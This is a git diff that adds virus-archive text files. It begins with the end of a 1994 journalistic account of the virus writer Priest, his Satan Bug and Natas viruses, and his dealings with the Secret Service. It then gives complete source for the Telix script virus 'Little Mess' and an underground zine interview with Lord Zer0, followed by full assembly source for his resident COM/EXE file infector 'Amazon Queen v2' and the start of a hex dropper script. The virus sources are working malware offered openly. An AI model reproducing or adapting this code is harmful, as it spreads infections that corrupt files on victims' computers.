often quite a bit of talk about viruses and Delger +would supply much of the information, typing up brief +summaries of virus effects embroidered with his own +experiences analyzing viruses. "You're not a +programmer!" Little Loc would storm at Delger. +If you weren't a programmer, you couldn't understand viruses, +insisted the author of Satan Bug. Little Loc would correct +minor technical errors Delger made when describing the +programs. In retaliation, Delger would calmly point out the +spelling mistakes made by Little Loc and his +colleagues. It was quite a flame war. On one side +was Little Loc, who gamely tried to get callers to appreciate +the technical qualities of some viruses. On the other side +was a bunch of middle-aged computer hobbyists who were convinced +all virus writers were illiterate teenage nincompoops in +need of serious jail time, or perhaps a sound beating. + +The debates drew a big audience, including another hacker +named Brian Oblivion, whose Waco, Texas, bulletin board, +Caustic Contagion, would provide a brief haven for Satan +Bug's author. Little Loc, however, soon found other +places that would accept his virus source code. Kim +Clancy's famous Department of the Treasury Security +Branch system was among them. Little Loc logged on and proffered +Satan Bug. The Hell Pit - a huge virus exchange in +a suburb of Chicago - had its phone number posted on Prodigy, +as was that of one called Dark Coffin, a system in eastern +Pennsylvania. Dutifully, Little Loc couriered his virus to +these systems, too. + +Satan Bug was a difficult virus to detect. Although in +a pinch you could find Satan Bug because of a trick +change it made to an infected program's date/time stamp, +for all intents and purposes Satan Bug was transparent +to anti-virus scanners. And this window of opportunity +stayed open for a surprising amount of time despite +the fact that Little Loc had supplied the Satan Bug to +all the public virus exchanges patrolled by anti-virus +moles. + +Little Loc stood apart from other virus +programmers who seemed to have little +interest in whether their creations made it into +the public's computers. The real travel of his +virus around the world would grant him recognition +like that of the Dark Avenger, he thought. So, he +wanted people to take Satan Bug and infect +the software of others, period. +Months later, after the virus had struck down the Secret +Service network clear across the continent, I asked +Little Loc how it might have gotten into the wild +in large enough numbers so that it eventually found +its way into such a supposedly secure system. + +"I'll tell you this once and only once: Satan Bug had help!" +he said, simply. + +After his Prodigy debut and before Satan Bug hit the +Secret Service, Little Loc was recruited by the virus-writing +group phalcon/SKISM, changing his handle in the +process to Priest. Joining phalcon/SKISM didn't necessarily +mean you were going to virus writing conventions in cyberspace +with other members of the group, but it was a badge of +status signifying to others in the computer underground who +required such things that you had arrived, as a virus writer +anyway. + +Since Priest lived on the West Coast, however, and the brain +trust of phalcon/SKISM was located in the metro-NYC area, +there was little concrete collaboration between the two, +especially after Priest racked up a $600 telephone bill +calling bulletin boards. Since Priest didn't hack free +phone service, his family had to pay the bill, which effectively +cut down on much of his long distance telephone contact +bulletin board systems like Caustic Contagion in Waco, Texas. + +Caustic Contagion, for a short period of time, was one of the +better known virus exchange bulletin board systems. Its +sysop, Brian Oblivion, had an extremely liberal policy with +regards to virus access and carried a large number of +Internet/Usenet newsgroups which gave callers a semblance +of access to the Internet. Caustic Contagion's other +specialty, besides viruses, was Star Trek newsgroups and +for some reason which completely eludes me, the BBS's +callers found the convergence of computer viruses and +Star Trek debate extremely congenial. + +Priest and another phalcon/SKISM virus writer named +Memory Lapse would hang out on Caustic Contagion. +Quite naturally, Oblivion's bulletin board was +one of the first places to receive the +programmers' newest creations, often +before they were published in phalcon/SKISM's electronic +publication, 40Hex magazine. + +Priest's next virus was Payback and it was written to punish +the mainstream computing community for the arrest +of Apache Warrior, the "president" of ARCV, a rather +harmless but vocal English virus-writing group which had +been undone when Alan Solomon, an anti-virus software +developer, was able to convince New Scotland Yard's +computer crime unit to seize the hacking group's equipment +and software in a series of surprise raids. Priest's Payback +virus would format the hard disk in memory of this event. +Payback gathered little attention in the underground, mostly +because few people knew much about ARCV and Apache +Warrior in the first place. + +Another of Priest's interests was the set of +anti-virus programs issued by the Dutch company, +Thunderbyte. The product of a virus researcher +named Frans Veldman, the Thunderbyte programs were +regarded by most virus writers as the anti-virus +programs of choice. They were sophisticated, +technically sweet and put to shame similar software +marketed by McAfee Associates, Central Point Software, +and Symantec, which manufactured the Norton Anti-virus. + +One of Frans Veldman's programs, called TBClean, +was of particular interest to Priest and others +because it claimed to be able to remove +completely unknown viruses from infected files. +How it did this was a neat trick. Essentially, +TBClean would execute the virus-infected file +in a controlled environment and try to take +advantage of the fact that the virus always had +to reassemble in memory an uncontaminated copy +of the infected program to make it work +properly. TBClean would intercept this action +and write the program back to the hard disk sans +virus. Priest and virus writer Rock Steady, the +leader of the NuKE virus-writing group, +had also noticed the phenomenon. Both tried writing +viruses that would subvert the process and turn +TBClean upon itself. + +Priest wrote Jackal, a virus which - under the proper +conditions - would sense TBClean trying to execute +it, step outside the Thunderbyte software's controls +and format the hard disk. In theory, this made Priest's +virus the worst kind of retaliating program, with the +potential to destructively strip unsuspecting users' +hard disks of their data when they tried to disinfect +their machines. (It couldn't happen if you just +manually erased the Jackal-virus-infected program, +but many people who use computers +as part of everyday work simply want the option of having +the software remove viruses. They don't want to +have to worry about the technicalities +of retaliating viruses designed to smash their data +if they have the temerity to use anti-virus software.) + +Of course, Jackal's development was deemed +a great propaganda victory by the North +American virus underground. Rock Steady nonsensically +insisted Frans Veldman's programs were dangerous +software because TBClean could be made to augment a +virus infection instead of remove it. + +Brian Oblivion immediately tried Jackal out. It didn't +work, he said, but only caused TBClean to hang up +his machine. This was because Jackal was version +specific, explained Priest. It would only work on certain +editions of the program. In reality, this meant that +Jackal's retaliating capability posed little threat +to typical computer users, who had never heard of +the virus-programmer's favorite software, Thunderbyte, +much less TBClean. Nevertheless, Priest continued to +write the TBClean subverting trick into his viruses, +including it in Natas (that's Satan spelled backwards), +which eventually got loose in Mexico City in the spring +of 1994. + +All the routines to format a computer's hard disk and to +slowly corrupt data ala the Eddie virus, which +Priest had designed his Predator virus to do, made +it clear the hacker cared little for any of the finer +arguments over the value of computer viruses which were +entertained from time to time by denizens of the underground +as well as academics. Viruses were for getting your name +around, infecting files and destroying data, according +to Priest. He just laughed when the topic of ethical +or productive uses of computer viruses -- such as the study +of artificial life -- came up. + +In any case, by the fall of 1993, after Priest had +retired from the Prodigy scene, Satan Bug was +generating its own kind of media-fueled panic. + +On the Compuserve network, hysterical government +employees were posting nonsensical alarums +about the virus in the McAfee Associates +virus information special interest group. + +"Satan's Bug" was part of a foreign power's attempt +to sabotage government computers! It was encrypted +in nine different ways and was "eating" your data! +A State Department alarm had started! + +Wherever the information about "Satan's Bug" was +coming from, it was 100 percent phlogiston. Satan Bug was hardly +aimed at government computer systems. It did not "eat" anything +and although difficult for many anti-virus programs to scan, the +virus could be found on infected systems by making good use +of software designed to take a snapshot of the vital statistics +of computer files and sound an alarm when these changed, which +always happened when Satan Bug added itself to programs. + +Even more amusing was the suspicion that Satan Bug had been +inserted on government computers by some undisclosed foreign +country, from whence it originated. I suppose, however, +some people might consider Southern California a foreign country. + +Priest enjoyed reading these kinds of things. His virus was +famous, an obvious source of confusion and hysteria. + +About the same time, the Secret Service's computer network +in Washington, D.C., was infected by the virus, which knocked +the infected machines off-line for approximately three +days. News about the event was tough to keep secret among +government employees and it leaked. The Crypt Newsletter +published a short news piece in its September 1993 issue +on the event and reported that the infection had +been cleaned up by David Stang, formerly of the National +Computer Security Association, but now providing anti-virus +and security guidance for Norman Data Defense Systems in +Fairfax, northern Virginia. + +Jack Lewis, head of the Secret Service's computer crime +unit, and two other agents flew out to interrogate +Priest in his San Diego home in October of 1993. + +Lewis and the other agents gave Priest the third degree. +They shook a printed-out copy of The Crypt Newsletter +containing the Satan Bug story in his face and did +everything in their power to make Priest think he ought +to cease and desist writing computer viruses forthwith. + +"About the Secret Service, they weren't too happy about +[Satan Bug], and saw fit to pay me a little visit," recalled +Priest ruefully. + +The agents wanted to know everything about Priest - his Social +Security number, where he'd travelled, even who the 16-year-old +worked for. But Priest didn't work for anyone. + +"I'm not quite sure they believed me," he said. +"Apparently, they thought I worked for some anti-virus +company or something to write viruses. Plus, they wanted +the sources for them." + +The Secret Service men wanted to know, straight from the +horse's mouth, what Satan Bug did. "They said some victims were +worried their systems weren't completely clean because they +thought it might infect data files," Priest continued. "I told +them it wouldn't. They also wanted my opinion on things which +surprised me, like different anti-virus programs and encryption +algorithms, including Clipper. I didn't ask why. + +"Jack Lewis also said someone claimed I said 'All government +computers will be infected by December' or some such rubbish. +Apparently, they thought I wrote Satan Bug as a weapon against +the government or whatever, I can't be too sure . . ." + +Priest told them no, Satan Bug wasn't specifically aimed at +government computers, but it was hard to tell if the +agents believed him. They were trained to reveal little, +and to be unnerving to those interviewed. + +"They just stared," Priest said, "as they did in response to +every question I asked, including 'what's your name?' +I tried - really tried - to act cool, but my heart was pounding +like a hummingbird's." + +The agents were keenly interested in Priest's other +handles, all the viruses he had written, which, if any, +computer systems he might have spread them on, the +names of some phalcon/SKISM members and the structure +of the virus-writing group and details of their +hacking exploits. + +Priest declined to say anything about the identities of members +of phalcon/SKISM. "I told them I knew nothing of the +hackers and phreakers, and little more than you could pick up +from reading an issue of 40Hex." + +Priest was more interested in other secretive agencies +within the government. He cultivated an interest in +stories about deep black intelligence agencies. Perhaps +he envisioned himself writing destructive viruses as part +of a covert weapons project for one of them. + +"Aren't there any other agencies which would be more +interested in what I'm doing?" Priest asked the agents. +He didn't get an answer. + +Eventually, the Secret Servicemen went away +with a Priest-autographed printout of the source code +to Satan Bug. + +Programming Satan Bug had turned out to be richly rewarding +for Priest. Not only had it gotten him recognized immediately +in the computer underground, it had made him feared in the +trenches of corporate America to the point where the Secret +Service had felt compelled to intervene. + +Since the Satan Bug panic was a golden opportunity for anti-virus +vendors to once again market wares, the stories in the +computing press kept coming. LAN Times put the virus on +the front page of its November 1 issue with the headline, +"Be on the Lookout for the Diabolical 'Satan Bug' Virus." +LAN Times East Coast bureau chief Laura Didio +wrote "the Satan Bug is designed +to circumvent the security facilities in Novell Inc. +Netware's NETX program, thereby allowing it to spread +across networks." While Satan Bug may have certainly +spread across networks, it had nothing to do with the +virus's design. It seemed no matter the truth about +Satan Bug, the story just got more pumped up with +phlogiston and air as it rolled along. + +"What's NETX?" asked Priest when he heard about the +LAN Times article. + +Of course, the LAN Times article accurately served as +an advertisement for the Satan Bug-detecting software +of Norman Data Defense Systems and McAfee Associates. + +Priest, meanwhile, continued to work on viruses. +He had just completed Natas, which he'd turned over +to the Secret Service and to phalcon/SKISM for publication +in an issue of 40Hex. He also uploaded the virus to +a couple of bulletin board systems in Southern +California. And he finished a very small, +96-byte .COM program-infecting virus. +And there were other things he was working on, he said. + +The most interesting fallout from the Secret Service visit was +a job offer from David Stang at Norman Data Defense +Systems, said Priest. Stang wanted the virus programmer +to come to work for him, starting in the summer of 1994, +after the hacker finished high school. + +Priest said Stang was interested in his opinion +about the use of virus code in anti-virus software. +Such code wasn't copyrighted, so it was fair game. +Priest thought this was a bad idea. Too much virus +code, in his opinion, was crappy anyway, so why would +anyone want to use it? But Priest said he would think +about the job offer. + +By May 1994, Priest's Natas virus had cropped up +in Mexico City, where, according to one anti-virus software +developer, it had been spread by a consultant providing +anti-virus software services. Through ignorance and +incompetence, the consultant had gotten Natas attached +to a copy of the anti-virus software he was using. +However, like most of Priest's viruses, Natas was a bit +more than most software could handle. The software detected +Natas in programs but not in an area of the hard disk known +as the master boot record, where the virus also +hid itself. The result was tragicomic. The consultant +would search computers for viruses. The software would find +Natas! Golly, the consultant would think, "Natas is here! +I better check other computers, too." And so, the +consultant would take his Natas-infected software to +other computers where, quite naturally, it would also +detect Natas as it spread the virus to the master boot +record, a part of the computer where the software could +not detect Priest's program. + +Natas had come to Mexico from Southern California. The +consultant often frequented a virus exchange bulletin +board system in Santa Clarita which not only stocked Natas, +but also the issue of 40Hex that contained its source +code. He had downloaded the virus, perhaps not fully +understood what he was dealing with, and a month or so +later uploaded a desperate plea for help with Priest's +out-of-control program. You could tell from the date +on the electronic cry for help -- May 1994 -- when Natas +began being a real problem in Mexico. + +Natas was another typical tricky Priest program. When in computer +memory, it masked itself in infected programs and made them +appear uninfected. It would also retrieve a copy +of the uninfected master boot record it carried encrypted in +its body and fake out the user by showing it to him if he tried +to go looking for it there. Natas also infected diskettes +and spread quickly to programs when they were viewed, +copied or looked at by anti-virus software. It was fair to +say that computer services providers wielding anti-virus +software in a casual manner ought +not to have been allowed anywhere near Natas. + +Back in San Diego, Priest was still being interviewed on the +telephone by David Stang and other associates at Norman +Data Defense Systems. They were concerned that Priest +might leak proprietary secrets to competitors after hiring, +so it was a must that he be absolutely sure of the +seriousness of his potential employment. + +By the end of the interview, Priest thought he didn't have +much of a chance at the job, but by July he'd accepted +an offer and moved to Fairfax to begin working for +David Stang. This was the same David Stang who had written +in the July 1992 issue of his Virus News and Review magazine, +"In this office, we try to see things in terms of black +and white, rather than gray . . . The problem is that +good guys don't wear white hats. Among virus researchers +are a large number of seemingly gray individuals . . . +This grayness is clear to users. Last week, I asked my +class if anyone in the room trusted anti-virus vendors. +Not one would raise their hand . . . " + +But what was Priest working on at Norman Data Defense +Systems? + +"A cure for Natas," he laughed softly one afternoon in +late July, 1994, in the Norman Data office. Looking +over the virus once more, Priest +sardonically concluded that his disinfector made it clear the +hacker had made Natas a little too easy to remove from +infected systems. Norman Data Defense had clients in Mexico +and at the Secret Service. + +You had to admire the moxie of the young American +virus programmer. He'd set out in 1992 to emulate the +world's greatest virus programmer, Dark Avenger, and +ended up being paid cash money to cure the paintpots +of computer poison he'd created. As for that poor stone +fool, the legendary Dark Avenger, he never even got +a handful of chewing gum for his viruses, having the +misfortune to have been born in the wrong place, Bulgaria, +at the wrong time, during the fall of Communism. + +But by the end of the summer, the blush was off the rose +for Priest and Norman Data, too. Another manager in the +office, Sylvia Moon, didn't like the idea of the hacker +working for the company, Priest said. And when management +representatives arrived from the parent corporation +in Norway on an inspection tour and were appraised of +Priest's status at a meeting, the hacker heard, they were +not pleasantly surprised to learn there was a virus writer +on the staff. Officially, said Priest, there was no +reaction, but in reality, the hacker felt, the atmosphere +was deeply strained. Nevertheless, said Priest, +David Stang maintained that he would protect the hacker's +position. And Jack Lewis, said Priest, had contacted +the company to set up a luncheon date with the hacker +to discuss more technical issues. However, Priest +said, David Stang wanted Lewis to provide a Secret Service +statement to the effect that the hiring of the hacker +wasn't such a bad idea. The luncheon fell through. +The Secret Service would provide no such statement +because, said Priest, it might be construed as a +conflict of interest. Unknown to him at the +time, the agency had also started spying on +his comings-and-goings in Fairfax. + +It all came to an end when one of Priest's acquaintances +from the BBSes called the Norman Data office and left a +message for "James Priest." Priest was immediately +let go. David Stang, said Priest, told him the call was +an indication that the hacker couldn't be trusted, that +he was still in touch with the underground. + +Paranoia and recriminations flew. There had been an intern +from William & Mary working at the company whose father +was a Pentagon official, said Priest. The rumor was that +Priest had been pumping the intern for information on +how to penetrate Pentagon computers and siphoning it back +into the underground. It was nonsense, said the hacker, +but it became the official version of events. These +were pretexts, thought Priest. The real reason he had to +be shown the door, he said, was pressure from the higher-ups +in Norway. They had been presented with him as a done-deal +hire and it hadn't set well, he said. David Stang, said +Priest, needed a reason to cut him loose and the phone call +from the friend had been the peg to hang it on. Priest +was a hot potato and he had to go. + +Back in San Diego once again, Priest almost sounded relieved. +He had a Sylvia Moon-autographed copy of a computer book +as a memento from the company and that was it. However, +he had finally been able to videotape "The Satan Bug" +telemovie. He shifted the VCR into replay and turned +to look at his computer while it was playing. But the +hacker said he still didn't know what the movie was about +when it was over. He had been too busy at the PC to +pay attention. Working . . . + +[Footnote: All the Secret Service's contact with Priest +and his viruses and source code appears, in retrospect, +to not have been much of a learning exercise. The organization +recently awarded a large contract to Symantec, the makers +of the Norton Anti-virus, to provide insurance against +computer virus attack. The Norton Anti-virus has long +been considered one of the worst choices imaginable +for this type of service.] + +copyright 1994 American Eagle Publications diff --git a/textfiles.com/virus/ltlmess.slt b/textfiles.com/virus/ltlmess.slt new file mode 100644 index 00000000..421ba9d7 --- /dev/null +++ b/textfiles.com/virus/ltlmess.slt @@ -0,0 +1,91 @@ +// Little Mess spawning virus source (c) 92 Crom-Cruach/Trident +// Source in SALT +// +// The compiled script needs some little changes: +// *First, both 1234h's in the SLC must be replaced by (FileLen-011h) +// *the 1st 11h bytes of the script must be copied over the 'REPLACE ME!'; +// *Both 1D 06 00's sequences MUST be replaced by 1D 02 00... + +// This is of course only educational, and even if it wasn't, it still wouldn't +// spread due to the script exchange rate. +// +// Bad minds, however, might think it's fun having their local network-sysop +// screaming about his system being infected while all anti-viral/integrity +// programs miss it (or, him being dissed for saying he's got a +// script-virus)... Of course, those people are wrong and/or sick. + +// Symptoms - 1 out of 8 times it displays a message for 1 sec after +// script execution if all scripts infected. + +// Greetz - NuKE / Phalcon/SKISM / YAM & All other practicing researchers... + +// Technical info --- +// +// First, the uninfected file is renamed to *.SLX. +// Then, the SLC file is created and the copy of the header is written to it. +// After that, the whole virus is written as a string to the file (SALT-string +// identification code is 19h; offsets in SLC are calculated relative to the +// end of the header (= on +0Ch) - The 06 -> 02 patch changes the offset of the +// buffer to write from Title (+6) to [EndHeader+1] (+2)... The 1234-patch is +// needed to fill in the size of that string). After that, some random bytes +// are written to make the files less suspicious (the amount must be even; at +// least, CS (the TELIX script compiler) never creates files with odd lengths) +// I wanted to mark the SLX files as hidden; but in SALT you can only -read- +// the attribute of a file. Solution could be to write a little routine in ASM +// to a temporary file & to RUN that file; I decided not to, because the flash +// from the shell-to-dos is much more obvious than some 'SLX'-files. + +// A system can be infected by starting this script from Telix. It will +// infect one script at a time. + +int EndHeader = 0x123419; // Needed for code-copy +str Title[40] = "[Little Mess (c) 92 Crom-Cruach/Trident]"; +str Org_Ext[4] = ".SLX"; + +str Path[64],Trash[64]; +str Buf[12] = ""; // No script to start after 'mother'. +str Spawned_On[12]; + +// Header +str Header[17]="REPLACE ME!"; // must be replaced by header (debug) +int Handle; +main() +{ + Spawned_On = Buf; + path = _script_dir; + strcat(path,"*.SLC"); // Search script (not 8 chars-FName!) +FNext: + if (not FileFind(path,0,Buf)) // File found? + { EndHeader=0; } // No more; mark 'all infected' + else + { + path = ""; // Prepare for find-next + trash = _script_dir; + strcat(trash,Buf); // Trash = path+filename+ext + FNStrip(Trash,7,Buf); // Buf = filename only + strcat(Buf,Org_Ext); // Give new extension + if (frename(Trash,Buf) != 0) goto FNext; + // File not renamed (already spawned) + + Handle = FOpen(Trash,"w"); // Make new file, same name + If (Handle == 0) // Error opening; restore orig. fname + { + Path = _script_dir; + strcat(path,Buf); // path = path+new_fname + frename(Path,Trash); // rename-back + goto Quit_Infect; + } + FWrite(Header,17,Handle); // Write header + + FWrite(Title,0x1234,Handle); // Title REPLACED by (ofs EndH.+1) + + FWrite(Title,(CurTime()&254),Handle); // Make size random (must be even) + FClose(Handle); + } +Quit_Infect: +call(Spawned_On); // Start orig. script +if ((EndHeader==0) and // If all infected + ((CurTime()&7)==7)) // Show message 1 out of 8 times + Status_Wind("Legalize Marijuana! - 쬘�埃�",10); +} + diff --git a/textfiles.com/virus/lzinterv.iew b/textfiles.com/virus/lzinterv.iew new file mode 100644 index 00000000..163f7f59 --- /dev/null +++ b/textfiles.com/virus/lzinterv.iew @@ -0,0 +1,662 @@ +Here's a short interview with yet another swedish viruswriter, +Lord Zero. One of his very old source-code follow this crappy +interview wipped up in a few minutes it looks like :-). + +Lord Zer0 is the writer of Trojan Horse Maker, which never worked +on my machine, but might work on some :-), and of viruses like +Swedish_Warrior (included in IR#4) and others. + +I wish him good luck in the future and thank him for being swedish +and writing viruses :-). + +- The Unforgiven. +================================================================================ + +TU> = The Unforgiven +LZ> = Lord Zer0 + + +TU> Give me a short description of who you are? + +LZ> - My name is Alexander Augustus Napoleon... + +TU> From where did you get you handle, Lord Zer0? + +LZ> - From my brain...hehe + +TU> Does your handle has some specific meaning? + +LZ> - Sure, It means "The LoRD over all the Zer0s" + +TU> When did you discovered the world of computers? + +LZ> - When I was ten and my daddy brought home a PC from his office. + +TU> How long have you been active in the scene? + +LZ> - Since summer '93. + +TU> Why did you start to call boards and such things? + +LZ> - " Fame is our greatest enemy. " + +TU> How did you came into the virus business? + +LZ> - I got a copy of "The little black book of virus" by Mark Ludwig + and started experimenting with the "Timid" virus. + +TU> Why did you start to write viruses? + +LZ> - I've always liked to create things and if I could manage to create + "living" things that's exactly what I want to do. + +TU> Which goals do you have as a viruswriter? + +LZ> - Well, one of my goals is to finish "C.I.V", "Computer Immune + Virus" (EXE, WIN, MBR, maybe OS/2, Polymorphic(Gen_X), Stealth and + a lots of Anti-AV.) + +TU> What programming-languages are you familiar with, and what's your + favourite language? + +LZ> - I am familiar with Visual Basic, C, Quick Basic and Assembler. + Assembler is outstanding. + +TU> You wrote a trojan-horse maker some while back, is that now finished + project or have you plans to continue on it? + +LZ> - It's finished. The last version is 1.52. + +TU> Which responses have you had about it? + +LZ> - Well, I heard that it was spread like wildfire, many BBS's was + fucked up, and there was a war in Finland. DN (the largest Swedish + daily paper) got their Harddrives fuck-up. + (L.o.C. also got blacklisted on Internet and stuff like that, so + they had to change their name.) + +TU> Do you have any plans to write a virus-code generator? + +LZ> - Yes, I have one, which is nearly finished. (When I had the routine + creating the infected files left to write I got tired but I'll probably + finish it, one day, so stay alert.;) ) + +TU> Do you release viruses/trojans into public? + +LZ> - Of course not! ;) Actually, there are already too many of them out + there, so a few of my NORMAL creations won't make any difference. + No phun! The viruses which are released must include some new ideas + or be very wide spead, to make someone notice them. + +TU> How many viruses has you written? + +LZ> - Ten maybe twenty, I don't really know(or care). + +TU> How do you name your viruses? + +LZ> - Well, in many different ways. I won't tell you..(I will require at + least half a page.) + +TU> What motivates you to write viruses? + +LZ> - You would never ask an artist: "Why do you paint ?" + +TU> Do you think you will continue to write viruses? + +LZ> - Yes, I will. Today, I can't see the end. + +TU> Would you feel guilty if one of your viruses made damage to a + hospital? + +LZ> - All my viruses are non-destructive. So don't blame me. + (And use my software at your own risk...hehe.) + +TU> Would you deliberate infect a school or government institution if you + know they would replicate well if you did so? + +LZ> - Yes, I think. If it could spread outside the institution. (I will + not infect a close system.) + +TU> Do you find it easier to infect pirated software (which is illegal to + use), than PD/SW software? + +LZ> - No, if I choose to infect a pirated software, I have to get + something very new if I want many users to get infected. That's the + big problem, and besides, elite users knows more about viruses than + PD/SW people do. So if I'd try to spread a virus, I'd prefer to put + it in a PD/SW. + +TU> Do you encourage deliberate destructive code in viruses? + +LZ> - No. (I wouldn't want to get my HD overwritten, and I think nobody + likes that.) + +TU> Have you considered writing destructive code in viruses? + +LZ> - No, the highest goal of a virus is survival, so why then commit + suicide, with trashing the HD? + +TU> What to you think of the issue concerning 'undestructive-viruses'? + +LZ> - I don't agree to it... A virus should be undestructive.. + That's my opinion. + +TU> Do you think one can make a virus beneficial? + +LZ> - Sure, but then the "virus" is spelled: S O F T W A R E + +TU> Have you ever considered writing a GOOD virus? + +LZ> - Nope,...How can a virus be GOOD ? + +TU> Bontchev described in his 'write-up' "Is good Computer-Viruses still + a bad idea", do you think one of those viruses can be classified + good? + +LZ> - A virus, which search/watch for something or update a software, + may be a beneficial virus. + +TU> Do you have any more arguments why viruses can't be beneficial than + the one Bontchev mentioned in his article? + +LZ> - My arguments won't make anything different. There're too many + problems to solve, and one or two more won't matter. + +TU> If you think its possible to write a good virus, how to solve the + above problems? + +LZ> - Ask God ;) + +TU> About virus-code-generators, what is your opinion about them, and + about people using them thinking they are hot-shot-eleete? + +LZ> - It's a good idea, but it's rather useless. I my opinion people + using code-generators are lame or stupid. (They want to make a + virus but can't or are too lame to write one..BaH!) + +LZ> Do you write viruses to get recognition in the virus/AV community? + +LZ> - No. I just write viruses, because I think it's fun. + +TU> What do you think about the media/AV describing viruswriters as + lonely individuals with no life? + + LZ> - A person who can always do exactly what he wants without having to + care about what people think has a FREE life. + And about friends; I've got plenty of friends, friends who know + things about myself and my virustechnique that I've only told them + because I can trust them. For example the guys reading through + this interview, my press staff...But... to the people who wants + the truth: Make up your own opinion! + +TU> Do you think the scene is asocial or not? + +LZ> - It depends on what you make of it, doesn't it? + +TU> How are you in real life (in a private matter). + +LZ> - A highly respectable young man, who loves life and doing good at + school, which means nothing.(It could be any boy/girl in sweden, + who cares about the school.) + +TU> How do you make your living? + +LZ> - Nothing, just spend my parents money. + +TU> Have the scene/viruswriting influent you in real life? + +LZ> - Yes a bit, but not much. + + LZ> What do your parents/close friends thinks about your viruswriting? + + LZ> - Some of my friends know that I write viruses, but they believe + that I won't spread my creations. I don't really know what my + parents know about my virus writing, but I suspect they know what + I'm doing and as long as I'm doing good at school, they won't care. + They probably think that it's just a "game", which will die out in a + couple of years. + +TU> Are you into viruswriting only or other parts of the + computer-underground? + + LZ> - I crack games, and programs. I'm an elite trader (Under + an other handle.) +=============================================================================== + +% Amazon Queen v2 by Lord Zer0 % +컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 +Amazone Queen v2 is a memory resident infector of COM and EXE programs +executed, opened (both normal and extended), or touched with the +dos attrib-function, thus making this a pretty fast infector. + +It 're-vectors' interrupt 21h (dos) to be interrupt38h, marks exe-files +with a '0' in the exe-header's negative checksum adress (12h - which +ofcourse is ignored) and a few other thing... and yeah, it can bug, and +there you go.. + +- The Unforgiven. + +================================================================================ + .model tiny + .code + org 100h + +start: + push cs + pop ds + call begin +begin: + mov bx,sp + mov bp,ss:[bx] + sub bp,offset begin-100h + inc sp + inc sp + push es + inc [generation-100h+bp] + + mov ah,0ACh + int 21h + cmp al,'0' + jnz go_tsr + + cmp bx,cs:[_version+bp-100h] + jge return_file + + mov ah,0AEh ; uninstall Virus + int 21h + + mov ah,9 ; Give the user a notice that s/he has got + ; at least two viruses on the HD... + + lea dx,[bp+vx_name-100h] + int 21h +go_tsr: + xor ax,ax + mov es,ax + mov di,200h + mov si,bp + mov cx,vx_size/2 + rep movsw + stosw + stosw + mov ds,cx + mov ax,offset int_21+100h + cli + xchg ds:[21h*4],ax + mov ds:[38h*4],ax + mov ds:[oldint21+100h],ax + + xchg ds:[21h*4+2],cx + mov ds:[38h*4+2],cx + mov ds:[oldint21+102h],cx + sti +return_file: + pop es + push cs + pop ds + cmp sp,0FFFEh + je ret_com + push es + pop ds + mov ax,es + add ax,10h + add ax,word ptr cs:[bp+buffer+2-100h] + push ax + push word ptr cs:[bp+buffer-100h] + retf +buffer: + int 20h + db '00' +ret_com: + mov di,100h + dec sp + dec sp + mov bx,sp + mov [bx],di + lea si,[bp+buffer-100h] + movsw + movsw + xor ax,ax + retn +vx_name db ' Amazon Queen...v2.0$' +uninstall: + push ds + lds dx,dword ptr cs:[oldint21+100h] + mov ax,2521h + int 21h + pop ds +installed: + mov al,'0' + mov bx,cs:[_version+100h] + popf + iret +int_21: + pushf + cmp ah,0ach + je installed + cmp ah,0aeh + je uninstall + + cmp ah,4bh + je infect + cmp ah,3dh + je infect + cmp ah,43h + je infect + cmp ah,6ch + je infect +return_dos: + popf + db 0eah +oldint21 dw ?,? +infect: + call push_all + cmp ah,6ch + jne not_extended + mov dx,si +not_extended: + push ds + pop es + mov di,dx + mov al,'.' + mov cx,64 + repnz scasb + mov ax,[di] + or ax,2020h + cmp ax,'oc' + je comexe_file + cmp ax,'xe' + je comexe_file + jmp pop_ret +comexe_file: + mov di,offset buffer+100h + mov ax,3D02h + int 38h + jnc go_on + jmp pop_ret +go_on: + xchg ax,bx + push cs + push cs + pop es + pop ds + + mov ah,3fh + mov cx,18h + mov dx,offset exe_hdr+100h + mov si,dx + int 38h + jnc not_close + jmp close + db 'WHY?' +not_close: + call eof + + cmp word ptr [si],'ZM' + je exe_file + + cmp byte ptr [si],41h + jne no_close +close_it: + jmp close + +no_close: + movsw + movsw + mov cx,4 + sub ax,cx + mov [si],0e941h + mov [si+2],ax + jmp write +exe_file: + push si + add si,14h + movsw + movsw + pop si + cmp byte ptr [si+12h],'0' + je close + + push ax + push dx + + add ax,vx_size + adc dx,0 + mov cx,200h + div cx + or dx,dx + jz same_page + inc ax +same_page: + mov [si+2],dx + mov [si+4],ax + mov ax,[si+8] + mov cl,4 + shl ax,cl + xchg ax,cx + pop dx + pop ax + sub ax,cx + sbb dx,0 + + mov cx,10h + div cx + + mov byte ptr [si+12h],'0' + mov [si+14h],dx + mov [si+16h],ax + mov cx,18h +write: + push cx + mov ah,40h + mov dx,200h + mov cx,vx_size + int 38h + + call tof + pop cx + mov ah,40h + mov dx,si + int 38h + + mov ax,5700h + int 38h + inc ax + int 38h +close: + mov ah,3eh + int 38h +pop_ret: + call pop_all + jmp return_dos + db 'LoRD Zer0' +tof: + xor al,al + jmp movfptr +eof: + mov al,2 +movfptr: + mov ah,42h + cwd + xor cx,cx + int 38h + retn +pop_all: + pop word ptr cs:[where] + pop di + pop si + pop ds + pop es + pop dx + pop cx + pop bx + pop ax + jmp jump_back +push_all: + pop word ptr cs:[where] + push ax + push bx + push cx + push dx + push es + push ds + push si + push di +jump_back: + jmp word ptr cs:[where] + +_version dw 200h +generation dw 1 +the_end: +vx_size = $-offset start +where = $+100h +exe_hdr = $+102h + end start +================================================================================ + +% An alternative script! % +컴컴컴컴컴컴컴컴컴컴컴컴컴 +What follow is not exactly the virus (AQ.500), but a dropper which +will create a file called zero.com. It does atleast contain one +hidden area, like oh-so-many of the hex-scripts in this zine +does. + +- The Unforgiven. + +N lord0.com +E 100 EB 3B 0D 0A 50 72 6F 67 72 61 6D 20 6D 61 64 65 +E 110 20 66 6F 72 20 49 52 37 2E 20 50 75 62 6C 69 73 +E 120 68 65 64 20 62 79 20 49 6D 6D 6F 72 74 61 6C 20 +E 130 52 69 6F 74 2C 20 31 39 39 35 21 0D 0A FA 33 ED +E 140 B0 13 CD 10 BA DA 03 EC A8 08 74 FB B8 00 A0 8E +E 150 C0 8E D8 B8 C0 EE B1 09 51 8B F0 8B F8 83 C6 02 +E 160 B1 9F F3 A5 05 40 01 59 E2 EE 33 F6 B8 00 F0 8E +E 170 C0 BB 6E FA 03 DD 26 8A 00 2E 22 06 FD 02 74 19 +E 180 BB FC EF 33 FF 81 C3 40 01 47 3B F7 7D F7 8B CE +E 190 